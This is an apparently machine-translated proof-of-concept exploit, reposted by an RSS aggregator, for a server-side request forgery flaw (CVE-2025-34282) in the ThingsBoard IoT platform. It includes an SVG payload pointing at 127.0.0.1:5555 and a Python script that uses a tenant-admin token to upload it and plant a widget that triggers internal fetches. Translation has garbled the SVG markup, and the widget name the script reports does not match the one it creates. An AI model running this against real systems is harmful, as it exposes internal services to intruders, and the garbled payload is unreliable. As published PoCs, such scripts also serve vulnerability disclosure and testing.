












# 利用标题:ThingsBoard 物联网平台 4.2.0 - 服务器端请求伪造(SSRF) # 日期:2026-03-25 # 利用作者:Tamil Mathi T. # 厂商主页:https://thingsboard.io # 软件链接:https://github.com/thingsboard/thingsboard # 版本: 4.2.1 # 测试于: ThingsBoard 4.2.0 # CVE: CVE-2025-34282 # 参考: https://www.cve.org/CVERecord?id=CVE-2025-34282 # https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282 # # 描述: # ThingsBoard 4.2.1之前的版本在图像上传画廊功能中存在SSRF漏洞。攻击者可以上传一个包含远程URL引用的定制SVG文件(例如,通过<image xlink:href="http://127.0.0.1:5555">)。). # 当 ThingsBoard 在服务器端处理上传的 SVG 时,它会获取引用的 URL,允许攻击者访问未向互联网公开的内部服务。 # # 需要租户管理员令牌。租户管理员在 ThingsBoard 的层级结构中是系统管理员之下的角色,并可以访问本漏洞利用中使用的 Widget 库和图像上传画廊 API。 # # 攻击链: # 1. 上传一个恶意的 SVG 到 POST /api/image # -> 服务器处理 SVG 并向内部 URL 发出请求 # 2. 创建一个自定义小部件,通过 <object> 标签嵌入 SVG 的 publicLink # -> 小部件渲染也会触发服务器端获取 # # 使用的 SVG 负载 (ssrf_localhost_5555_svg.svg): # <?xml 版本="1.0" 独立="否"?> # <svg 版本="1.1" 基础配置="完整" xmlns="http://www.w3.org/2000/svg" # xmlns:xlink="http://www.w3.org/1999/xlink" # xmlns:ev="http://www.w3.org/2001/xml-events"> # <定义><pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450"> # <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" /> # </pattern></defs> # <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" /> # </svg> # # 使用方法: # pip install requests # python thingsboard_ssrf.py <svg文件> <携带令牌> # # 示例: # python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci... import requests import json import os import sys import argparse import time DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image" DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType" DEFAULT_REFERER = "http://localhost:8080/resources/images" DEFAULT_ORIGIN = "http://localhost:8080" def upload_image(filepath, token): if not os.path.isfile(filepath): raise SystemExit(f"文件未找到: {filepath}") filename = os.path.basename(filepath) mime_types = { '.svg': 'image/svg+xml', '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', '.png': 'image/png', '.gif': 'image/gif' } ext = os.path.splitext(filename)[1].lower() mime_type = mime_types.get(ext, 'application/octet-stream') headers = { "X-Authorization": f"Bearer {token}", "User-Agent": "python-requests/2.x", "Referer": DEFAULT_REFERER, "Origin": DEFAULT_ORIGIN, } with open(filepath, "rb") as f: files = { "file": (filename, f, mime_type) } resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False) return resp def create_widget(public_link, token): headers = { "X-Authorization": f"Bearer {token}", "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Origin": DEFAULT_ORIGIN, "User-Agent": "python-requests" } template_html = f"""<tb-value-card-widget [ctx]="ctx" [widgetTitlePanel]="widgetTitlePanel"> </tb-value-card-widget> <object data="{public_link}" type="image/svg+xml"></object> """ payload = { "fqn": "SSRF测试PoC", "name": "SSRF测试PoC", "deprecated": False, "image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png", "description": "在一个可缩放的矩形卡片中显示最新的空气质量指数遥测数据。", "descriptor": { "type": "latest", "sizeX": 3, "sizeY": 3, "resources": [], "templateHtml": template_html, "templateCss": "", "controllerScript": "self.onInit = function() {\n self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n return {\n maxDatasources: 1,\n maxDataKeys: 1,\n singleEntity: true,\n previewWidth: '250px',\n previewHeight: '250px',\n embedTitlePanel: true,\n supportsUnitConversion: true,\n defaultDataKeysFunction: function() {\n return [{ name: 'air', label: '空气质量指数', type: 'timeseries' }];\n }\n };\n};\n\nself.onDestroy = function() {\n};\n", "dataKeySettingsForm": [], "settingsDirective": "tb-value-card-widget-settings", "hasBasicMode": True, "basicModeDirective": "tb-value-card-basic-config", "defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"空气质量指数\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.2392660816082064,\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value< 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"showTitle\":false,\"backgroundColor\":\"rgba(0, 0, 0, 0)\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"padding\":\"0px\",\"settings\":{\"labelPosition\":\"top\",\"layout\":\"square\",\"showLabel\":true,\"labelFont\":{\"size\":14,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"labelColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"showIcon\":true,\"iconSize\":40,\"iconSizeUnit\":\"px\",\"icon\":\"mdi:weather-windy\",\"iconColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}],\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"valueFont\":{\"size\":26,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"valueColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}]},\"showDate\":true,\"dateFormat\":{\"format\":null,\"lastUpdateAgo\":true,\"custom\":false},\"dateFont\":{\"family\":\"Roboto\",\"size\":12,\"sizeUnit\":\"px\",\"style\":\"normal\",\"weight\":\"500\"},\"dateColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.38)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"background\":{\"type\":\"color\",\"color\":\"#fff\",\"overlay\":{\"enabled\":false,\"color\":\"rgba(255,255,255,0.72)\",\"blur\":3}},\"autoScale\":true},\"title\":\"空气质量卡片\",\"dropShadow\":true,\"enableFullscreen\":false,\"titleStyle\":{\"fontSize\":\"16px\",\"fontWeight\":400},\"units\":\"AQI\",\"decimals\":1,\"useDashboardTimewindow\":true,\"showLegend\":false,\"widgetStyle\":{},\"actions\":{},\"configMode\":\"basic\",\"displayTimewindow\":true,\"margin\":\"0px\",\"borderRadius\":\"0px\",\"widgetCss\":\"\",\"pageSize\":1024,\"noDataDisplayMessage\":\"\",\"showTitleIcon\":false,\"titleTooltip\":\"\",\"titleFont\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1.6\"},\"titleIcon\":\"\",\"iconColor\":\"rgba(0, 0, 0, 0.87)\",\"iconSize\":\"14px\",\"timewindowStyle\":{\"showIcon\":true,\"iconSize\":\"14px\",\"icon\":\"query_builder\",\"iconPosition\":\"left\",\"font\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1\"},\"color\":null}}" }, "resources": None, "scada": False, "tags": ["天气", "环境", "空气", "空气质量指数", "污染", "排放", "雾霾"] } try: resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload) return resp except Exception as e: print(f"Request failed: {e}", file=sys.stderr) sys.exit(1) def main(image_path, token): try: resp = upload_image(image_path, token) print("Upload Status:", resp.status_code) public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink")) if not public_link: print(resp.json()) print("Failed to retrieve public link from response.") sys.exit(1) print("Public Link:", public_link) time.sleep(2) widget_resp = create_widget(public_link, token) print("Widget Creation Status:", widget_resp.status_code) print("\n[+] Widget created successfully.") print(" Look for widget named 'SSRF_testing_Poc' in the Widget Library.") print(" Add it to any dashboard to trigger the SSRF.") except Exception as e: print("Error:", e, file=sys.stderr) sys.exit(1) if __name__ == "__main__": parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC") parser.add_argument("image", help="Path to the SVG file to upload") parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)") args = parser.parse_args() if not args.token: print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr) parser.print_help() sys.exit(2) main(args.image, args.token)
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。